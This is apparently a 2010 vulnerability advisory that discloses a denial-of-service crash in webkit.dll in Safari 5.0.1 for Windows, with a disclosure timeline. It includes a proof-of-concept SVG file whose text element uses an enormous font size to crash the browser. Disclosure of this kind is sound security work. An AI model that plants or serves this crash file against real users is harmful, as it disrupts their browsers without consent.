Safari for windows Invalid SGV text style Webkit.dll DoS

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Safari for windows Invalid SGV text style  Webkit.dll DoS
Vendor URL:www.apple.com
Advisore:http://lostmon.blogspot.com/2010/08/safari-for-windows-invalid-sgv-text.html
Vendor notify :Yes exploit available :YES
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Safari browser for windows is prone vulnerable to a Denial of
service condition , this issue affects webkit.dll and cause a
crash when Safari try to render a SGV image with a very long
font size text style.



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versions
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Safari for windows 5.0.1 (7533.17.8)
on windows 7 ultimate fully patched.


Safari for windows windows 5.0.1 (7533.17.8)
on windows xp home sp3 fully patched


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Timeline
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Discovered:19-08-2010
vendor notofy:25-08-2010
Vendor response:26-08-2010
Disclosure: 30-09-2010

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Proof Of Concept
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Save This code as image.svg and open it with Safari,look
i have add some "extra" pixels in font size text style.

################ BOF image.svg ######################

<?xml version="1.0"?>
<svg xmlns="http://www.w3.org/2000/svg" width="200" height="200" version="1.1">
<defs>
<mask id="crash">
<polygon points="155.5,45.6146 181.334,119.935 260,121.538 197.3,169.074
220.085,244.385 155.5,199.444 90.9154,244.385 113.7,169.074
51,121.538 129.666,119.935"
transform="matrix(1 0 0 1.04643 1.9873e-014 -6.73254)
translate(-52.381 -37.9218)"
style="fill:rgb(255,255,255);stroke:rgb(0,0,0);stroke-width:1" />
</mask>
</defs>

<g mask="url(#crash)" style="font-family:Verdana; font-size: 10pt; fill:red;">
<text x="80" y="80" style="font-size:111000000pt; fill:pink;">Safari</text>
<text x="0" y="130" style="font-size: 60pt; fill:pink;">Now</text>
<text x="20" y="190" style="font-size: 60pt; fill:pink;">Crash</text>
</g>

</svg>

###############EOF####################

################# €nd ###############

Thnx To Climbo for his patience and support.

Atentamente:
Lostmon (lostmon@gmail.com)
Web-Blog: http://lostmon.blogspot.com/
Google group: http://groups.google.com/group/lostmon (new)
--
La curiosidad es lo que hace mover la mente....